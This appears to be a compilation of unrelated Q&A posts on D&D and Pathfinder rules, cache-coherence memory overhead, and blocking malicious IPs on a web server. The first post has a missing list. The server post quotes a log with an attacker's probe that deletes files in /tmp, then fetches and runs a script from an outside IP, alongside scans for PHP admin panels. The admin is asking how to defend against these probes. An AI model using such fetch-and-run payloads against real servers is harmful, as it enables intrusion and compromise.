What challenge rating should the Ebondeath stat block have been given?

In the adventure Divine Contention, there’s a creature called Ebondeath, and the adventure provides a stat block for this creature, available on D&DBeyond.

This creature’s stat block appears to be a modified version of the Ghost’s stat block. The Ghost is a CR 4 creature. Ebondeath has also been given a CR of 4, but it has:

This looks like a mistake to me, and given that some traits have been updated where others have not been, it also looks like a lazy effort without paying much attention to the details.

Ebondeath is clearly stronger than a Ghost, and therefore surely must be of a higher CR that 4. What CR should1 this stat block have been given? As a bonus question, what else should be updated to make things more consistent with the CR it should have been given (meaning the Withering Touch attack, and should the save DC of Horrifying Visage be 20 as well)?

1. Note that by “should”, I mean if it were to be derived from its stat block, not just an opinion (the word “should” often has that association, so I just wanted to make that clear).

64 byte cache block and memory overhead for cachline with 7 states (3 bits)

I came across some lecture notes of a professor about memory consistency and models. There is an example about memory overhead:

The cache line has 7 states (3 bits): unowned, shared, exclusive, modified, read, update and “uncached read”.

  • For 64 processor with the cache line described above, the memory overhead is 12.5%
  • For 256 processor with the cache line described above, the memory overhead is 50%
  • For 1024 processor with the cache line described above, the memory overhead is 200%.

This is the only information that I received from the notes. I wanted to ask him by contacting him but I got no answer. How are these overheads calculated?

How can I effectively shield block with a tower shield?

I am a champion with a shield ally and a tower shield. Shield ally adds +2 to my shield’s hardness and 50% HP and BT. So a normal tower shield in my hands has a hardness of 7 and 30 HP.

I want to be able to do two things: use shield block to reduce damage for myself and allies, and use raise shield/take cover to provide AC and cover bonuses.

How can I keep shield block effective past my initial levels? There are some magic shields that increase HP and hardness, but I haven’t seen one that is a tower shield. Are there any shields, class features, feats, or strategies that I can use to keep shield block with a tower shield effective?

How do I immediately block IPs once they do a single malicious act?

I get this in logwatch

 A total of 21 sites probed the server    Requests with error response codes     400 Bad Request        /: 12 Time(s)        /admin/index.php: 1 Time(s)        /shell?cd+/tmp;rm+-rf+.j;wget+http:/\/91. ... sh+.j;echo+DONE: 1 Time(s)        null: 1 Time(s)     404 Not Found        /modules/base/js/owa.tracker-combined-min.js: 29 Time(s)        /robots.txt: 23 Time(s)        /cgi-bin/file_transfer.cgi: 11 Time(s)        /administrator/: 3 Time(s)        /TP/html/public/index.php: 2 Time(s)        /TP/index.php: 2 Time(s)        /TP/public/index.php: 2 Time(s)        /ads.txt: 2 Time(s)        /elrekt.php: 2 Time(s)        /html/public/index.php: 2 Time(s)        /index.php: 2 Time(s)        /public/index.php: 2 Time(s)        /thinkphp/html/public/index.php: 2 Time(s)        /HER7400Watt: 1 Time(s)        /admin/config.php?password[]=bebydviyx&username=admin: 1 Time(s)        /api/v1: 1 Time(s)        /sitemap.xml: 1 Time(s)     405 Method Not Allowed        ip.ws.126.net:443: 1 Time(s)     408 Request Timeout        null: 21 Time(s) 

Some activities are never coming from a good place.

How do I immediately block them once they do a single one of those activities?

How to calculate the damage taken when using Shield Block?

How do you calculate the damage a PC takes when using shield block? The Shield Block feat allows you to reduce the damage from an incoming attack when you have your shield raised. The feat says (CRB, pg.266):

… Your shield prevents you from taking an amount of damage up to the shield’s Hardness. You and the shield each take any remaining damage

Our table recently realized we had been running with two different interpretations of the emphasized text.

To illustrate, suppose 11 damage are being dealt to a character with a buckler raised (hardness of 3). The 11 damage are reduced by the shield’s hardness, resulting in 8 damage remaining.

One interpretation at our table is that the PC and the shield each take 8 damage. This seems like a straightforward reading of the feat, but resulted in a counter-intuitive outcome: significantly more damage is done when you use shield block than if you don’t.

The other is that the PC and shield split the 8 damage, with each taking 4. The consensus here is that damage dealt is a resource of some kind – there is only 8 damage to be applied, no matter how it is allocated.

Does a shield get its Hardness when using Shield Block?

The ability Shield Block allows you to spend your Reaction reducing incoming damage by a shield’s Hardness at the cost of damaging the shield as well as you. Does this damage also get reduced by the shield’s Hardness?

For example, with an attack that would do 11 damage incoming, a character performs Shield block with their 3 Hardness shield. Does the remaining 8 damage get further reduced to 3 by the shield’s Hardness?